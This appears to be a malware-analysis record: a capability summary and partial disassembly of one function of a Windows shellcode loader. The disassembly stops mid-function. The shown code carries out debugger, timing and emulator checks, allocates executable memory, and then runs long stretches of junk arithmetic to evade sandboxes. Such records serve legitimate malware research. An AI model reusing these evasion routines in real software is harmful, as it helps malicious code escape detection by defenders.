Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check http status code
Connect to http server
Create a process with modified i/o handles and window
Create http request
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Parse credit card information
Parse pe header
Read data from internet
Receive data
Resume thread
Send data
Send http request

Disassembly:
push rbp
push rbx
mov eax, 0x2b48
call fcn.140024360
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x2ab0], xmm6
mov dword [rbp + 0x2ae0], ecx
mov qword [rbp + 0x2ae8], rdx
call dbg.__main
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1aa0], rax
mov rax, qword [rbp + 0x1aa0]
mov ecx, 0
call rax
mov dword [rbp + 0x1a9c], eax
cmp dword [rbp + 0x1a9c], 0xffffffff
je 0x1400232ac
mov dword [rbp + 0x64], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a90], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x64]
mov r8, qword [rbp + 0x1a90]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x64]
cmp eax, 1
je 0x1400232ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a88], rax
mov rax, qword [rbp + 0x1a88]
call rax
mov dword [rbp + 0x1a84], eax
mov ecx, 0x277
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1a88]
call rax
mov dword [rbp + 0x1a80], eax
mov eax, dword [rbp + 0x1a80]
sub eax, dword [rbp + 0x1a84]
cmp eax, 0x245
jbe 0x1400232ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1a78], rax
cmp qword [rbp + 0x1a78], 0
je 0x140001731
mov rax, qword [rbp + 0x1a78]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a70], rax
mov rax, qword [rbp + 0x1a70]
mov ecx, 0
call rax
mov dword [rbp + 0x2aac], eax
cmp dword [rbp + 0x2aac], 0xffffffff
je 0x1400232ac
mov ecx, 0x5fc
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x5fc
jne 0x1400232ac
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x1a6c], 0x38f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a60], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a58], rax
mov rax, qword [rbp + 0x1a58]
call rax
mov dword [rbp + 0x1a54], eax
mov eax, dword [rbp + 0x1a6c]
mov r8, qword [rbp + 0x1a60]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1a58]
call rax
mov dword [rbp + 0x1a50], eax
mov eax, dword [rbp + 0x1a50]
sub eax, dword [rbp + 0x1a54]
cmp eax, 0x35d
jbe 0x1400232ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a48], rax
mov rax, qword [rbp + 0x1a48]
mov ecx, 0
call rax
mov dword [rbp + 0x1a44], eax
cmp dword [rbp + 0x1a44], 0xffffffff
je 0x1400232ac
mov qword [rbp + 0x2aa0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1a38], rax
cmp qword [rbp + 0x1a38], 0
je 0x140001907
mov rax, qword [rbp + 0x1a38]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a30], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1a30]
mov r9d, 0x3000
mov r8d, 0x2bb
mov edx, 0
call rax
mov qword [rbp + 0x2aa0], rax
cmp qword [rbp + 0x2aa0], 0
je 0x1400232ac
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a28], rax
mov rax, qword [rbp + 0x1a28]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1a20], rax
cmp qword [rbp + 0x1a20], 0
jne 0x1400232ac
mov dword [rbp + 0x1a1c], 0x285
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a10], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a08], rax
mov rax, qword [rbp + 0x1a08]
call rax
mov dword [rbp + 0x1a04], eax
mov eax, dword [rbp + 0x1a1c]
mov r8, qword [rbp + 0x1a10]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x1a08]
call rax
mov dword [rbp + 0x1a00], eax
mov eax, dword [rbp + 0x1a00]
sub eax, dword [rbp + 0x1a04]
cmp eax, 0x253
jbe 0x1400232ac
mov dword [rbp + 0x2a9c], 0xffffffff
mov dword [rbp + 0x2a98], 0
jmp 0x140001aaf
call sym.rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x74], eax
mov ecx, dword [rbp + 0x74]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x74], edx
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x74]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x68], rax
add dword [rbp + 0x2a98], 1
cmp dword [rbp + 0x2a98], 0xe8
jle 0x140001a3f
mov dword [rbp + 0x2a94], 0
jmp 0x140001b05
call sym.rand
imul eax, eax, 0x2fc
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x78], rax
add dword [rbp + 0x2a94], 1
cmp dword [rbp + 0x2a94], 0x173
jle 0x140001ac7
mov qword [rbp + 0x2a88], 0
mov dword [rbp + 0x2a90], 0x237
jmp 0x140001b3e
mov eax, dword [rbp + 0x2a90]
cdqe
add qword [rbp + 0x2a88], rax
sub dword [rbp + 0x2a90], 1
cmp dword [rbp + 0x2a90], 0
jg 0x140001b28
mov dword [rbp + 0x2a80], 0
mov dword [rbp + 0x19fc], 0
mov ecx, 0x108
call sym.malloc
mov qword [rbp + 0x19f0], rax
mov dword [rbp + 0x2a84], 0
jmp 0x140001bf4
call sym.rand
mov ecx, eax
mov eax, dword [rbp + 0x2a84]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19f0]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x2a84]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19f0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x2a80], eax
add dword [rbp + 0x2a84], 1
cmp dword [rbp + 0x2a84], 0x41
jle 0x140001b78
mov rax, qword [rbp + 0x19f0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2a78], 0x46
mov dword [rbp + 0x2a7c], 0x46
jmp 0x140001c34
sub dword [rbp + 0x2a78], 1
sub dword [rbp + 0x2a7c], 1
cmp dword [rbp + 0x2a7c], 0x12
jg 0x140001c26
mov dword [rbp + 0x19ec], 1
mov ecx, 0x408
call sym.malloc
mov qword [rbp + 0x19e0], rax
mov qword [rbp + 0x2a70], 2
jmp 0x140001c8c
mov rax, qword [rbp + 0x2a70]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19e0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x2a70], 1
cmp qword [rbp + 0x2a70], 0x101
jbe 0x140001c65
mov qword [rbp + 0x2a70], 2
jmp 0x140001d23
mov rax, qword [rbp + 0x2a70]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19e0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001d1b
mov rax, qword [rbp + 0x2a70]
mov qword [rbp + 0x2a68], rax
jmp 0x140001d04
mov rax, qword [rbp + 0x2a70]
imul rax, qword [rbp + 0x2a68]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19e0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x2a68], 1
mov rax, qword [rbp + 0x2a70]
imul rax, qword [rbp + 0x2a68]
cmp rax, 0x101
jbe 0x140001cd5
add qword [rbp + 0x2a70], 1
cmp qword [rbp + 0x2a70], 0x101
jbe 0x140001ca6
mov rax, qword [rbp + 0x19e0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2a60], 1
jmp 0x140001dff
mov dword [rbp + 0x2a64], 0
mov eax, dword [rbp + 0x2a60]
mov dword [rbp + 0x2a5c], eax
jmp 0x140001dd5
mov edx, dword [rbp + 0x2a5c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x80], edx
mov eax, dword [rbp + 0x80]
imul eax, eax
imul eax, dword [rbp + 0x80]
add dword [rbp + 0x2a64], eax
mov eax, dword [rbp + 0x2a5c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x2a5c], eax
cmp dword [rbp + 0x2a5c], 0
jne 0x140001d6a
mov eax, dword [rbp + 0x2a64]
cmp eax, dword [rbp + 0x2a60]
jne 0x140001df8
mov eax, dword [rbp + 0x2a60]
mov dword [rbp + 0x84], eax
add dword [rbp + 0x2a60], 1
cmp dword [rbp + 0x2a60], 0xae
jle 0x140001d52
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp + 0x19d8], rax
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp + 0x19d0], rax
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp + 0x19c8], rax
mov ecx, 0x1f4
call sym.malloc
mov qword [rbp + 0x19c0], rax
mov dword [rbp + 0x2a54], 0x7c
mov dword [rbp + 0x2a58], 0
jmp 0x140001eff
call sym.rand
mov edx, dword [rbp + 0x2a58]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x19d8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sym.rand
mov edx, dword [rbp + 0x2a58]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x19d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x2a58], 1
cmp dword [rbp + 0x2a58], 0x7c
jle 0x140001e6c
mov dword [rbp + 0x2a58], 0
jmp 0x140001f9b
mov eax, dword [rbp + 0x2a54]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19d8]
add rax, rdx
mov edx, dword [rbp + 0x2a58]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x19c8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2a54]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x19d0]
add rax, rdx
mov edx, dword [rbp + 0x2a58]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x19c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2a54], 1
add dword [rbp + 0x2a58], 1
cmp dword [rbp + 0x2a58], 0x7c
jle 0x140001f1b
mov rax, qword [rbp + 0x19d8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x19d0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x19c8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x19c0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x19bc], 0
mov ecx, 0x188
call sym.malloc
mov qword [rbp + 0x19b0], rax
mov ecx, 0x188
call sym.malloc
mov qword [rbp + 0x19a8], rax
mov ecx, 0x188
call sym.malloc
mov qword [rbp + 0x19a0], rax
mov dword [rbp + 0x2a50], 0
jmp 0x14000211a
mov dword [rbp + 0x2a4c], 0
jmp 0x140002106
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2a50]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x19b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2a4c]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2a50]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x19a8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2a4c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2a4c], 1
cmp dword [rbp + 0x2a4c], 6
jle 0x14000203f
add dword [rbp + 0x2a50], 1
cmp dword [rbp + 0x2a50], 0xd
jle 0x140002030
mov dword [rbp + 0x2a50], 0
jmp 0x140002212
mov dword [rbp + 0x2a4c], 0
jmp 0x1400021fe
mov eax, dword [rbp + 0x2a50]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x19b0]
add rdx, rax
mov eax, dword [rbp + 0x2a4c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2a50]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x19a8]
add rdx, rax
mov eax, dword [rbp + 0x2a4c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x2a50]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x19a0]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x2a4c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2a4c], 1
cmp dword [rbp + 0x2a4c], 6
jle 0x140002145
add dword [rbp + 0x2a50], 1
cmp dword [rbp + 0x2a50], 0xd
jle 0x140002136
mov rax, qword [rbp + 0x19b0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x19a8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x19a0]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2a48], 0xffffffff
mov ecx, 0x7e0
call sym.malloc
mov qword [rbp + 0x1998], rax
add dword [rbp + 0x2a48], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2a48]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1998]
add rax, rdx
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2a48]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1998]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2a48]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1998]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2a48], 0xfa
jle 0x140002267
add dword [rbp + 0x2a9c], 1
mov dword [rbp + 0x2a44], 0
jmp 0x140002351
call sym.rand
shl eax, 3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.exp
movq rax, xmm0
mov qword [rbp + 0x88], rax
add dword [rbp + 0x2a44], 1
cmp dword [rbp + 0x2a44], 0x119
jle 0x140002313
mov dword [rbp + 0x2a40], 0
jmp 0x1400023a7
call sym.rand
imul eax, eax, 0x38
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x90], rax
add dword [rbp + 0x2a40], 1
cmp dword [rbp + 0x2a40], 0x52
jle 0x140002369
mov ecx, 0xaa8
call sym.malloc
mov qword [rbp + 0x1990], rax
mov ecx, 0xaa8
call sym.malloc
mov qword [rbp + 0x1988], rax
mov dword [rbp + 0x2a3c], 0
jmp 0x14000246b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x2a3c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1990]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x2a3c], 1
cmp dword [rbp + 0x2a3c], 0x154
jle 0x1400023e1
mov dword [rbp + 0x2a3c], 0
jmp 0x1400024d9
mov eax, dword [rbp + 0x2a3c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1990]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2a3c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1988]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2a3c], 1
cmp dword [rbp + 0x2a3c], 0x154
jle 0x140002487
mov dword [rbp + 0x2a34], 0xa0
mov dword [rbp + 0x2a38], 0xa0
jmp 0x140002509
sub dword [rbp + 0x2a34], 1
sub dword [rbp + 0x2a38], 1
cmp dword [rbp + 0x2a38], 0x2c
jg 0x1400024fb
mov qword [rbp + 0x2a28], 0
mov dword [rbp + 0x1984], 0x92
mov dword [rbp + 0x2a30], 1
jmp 0x140002549
mov eax, dword [rbp + 0x2a30]
cdqe
add qword [rbp + 0x2a28], rax
add dword [rbp + 0x2a30], 1
mov eax, dword [rbp + 0x2a30]
cmp eax, dword [rbp + 0x1984]
jle 0x140002533
mov dword [rbp + 0x2a24], 0xffffffff
mov ecx, 0x620
call sym.malloc
mov qword [rbp + 0x1978], rax
add dword [rbp + 0x2a24], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2a24]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1978]
add rax, rdx
movsd xmm1, qword [0x14002c0e8]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2a24]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1978]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2a24]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1978]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2a24], 0xc2
jle 0x140002572
mov dword [rbp + 0x2a20], 0xffffffff
mov ecx, 0x2a0
call sym.malloc
mov qword [rbp + 0x1970], rax
add dword [rbp + 0x2a20], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2a20]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1970]
add rax, rdx
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x2a20]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1970]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2a20]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1970]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.fmod
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2a20], 0x52
jle 0x140002636
mov dword [rbp + 0x2a1c], 0xffffffff
mov ecx, 0x210
call sym.malloc
mov qword [rbp + 0x1968], rax
add dword [rbp + 0x2a1c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2a1c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1968]
add rax, rdx
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2a1c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1968]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2a1c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1968]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2a1c], 0x40
jle 0x140002717
mov qword [rbp + 0x2a10], 0
mov dword [rbp + 0x2a18], 0x184
jmp 0x1400027da
mov eax, dword [rbp + 0x2a18]
cdqe
add qword [rbp + 0x2a10], rax
sub dword [rbp + 0x2a18], 1
cmp dword [rbp + 0x2a18], 0
jg 0x1400027c4
mov ecx, 0x1e4
call sym.malloc
mov qword [rbp + 0x1960], rax
mov dword [rbp + 0x2a0c], 0
jmp 0x14000288a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2a0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1960]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2a0c], 1
cmp dword [rbp + 0x2a0c], 0x78
jle 0x140002803
mov dword [rbp + 0x2a0c], 0
jmp 0x14000298b
cmp dword [rbp + 0x2a0c], 0
je 0x1400028f0
mov eax, dword [rbp + 0x2a0c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1960]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x2a0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1960]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x1400028fc
add dword [rbp + 0x2a0c], 1
jmp 0x14000298b
mov eax, dword [rbp + 0x2a0c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x1960]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x9c], xmm0
mov eax, dword [rbp + 0x2a0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1960]
add rdx, rax
mov eax, dword [rbp + 0x2a0c]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x1960]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x2a0c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1960]
add rax, rdx
movss xmm0, dword [rbp + 0x9c]
movss dword [rax], xmm0
sub dword [rbp + 0x2a0c], 1
cmp dword [rbp + 0x2a0c], 0x78
jle 0x1400028a6
mov rax, qword [rbp + 0x1960]
mov rcx, rax
call sym.free
mov dword [rbp + 0x2a08], 0xffffffff
add dword [rbp + 0x2a08], 1
call sym.rand
imul eax, eax, 0x5a
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14002c0e0]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call dbg.log
movq rax, xmm0
mov qword [rbp + 0x1958], rax
cmp dword [rbp + 0x2a08], 0x43
jle 0x1400029b1
mov dword [rbp + 0x29fc], 0
mov ecx, 0x540
call sym.malloc
mov qword [rbp + 0x1950], rax
mov dword [rbp + 0x2a04], 0
jmp 0x140002aaa
mov dword [rbp + 0x2a00], 0
jmp 0x140002a9a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x1a69993
shr rdx, 0x20
mov ecx, edx
sar ecx, 6
cdq
sub ecx, edx
imul edx, ecx, 0x26c5
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x2a04]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x1950]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x2a00]
cdqe
movss dword [rdx + rax*4], xmm0
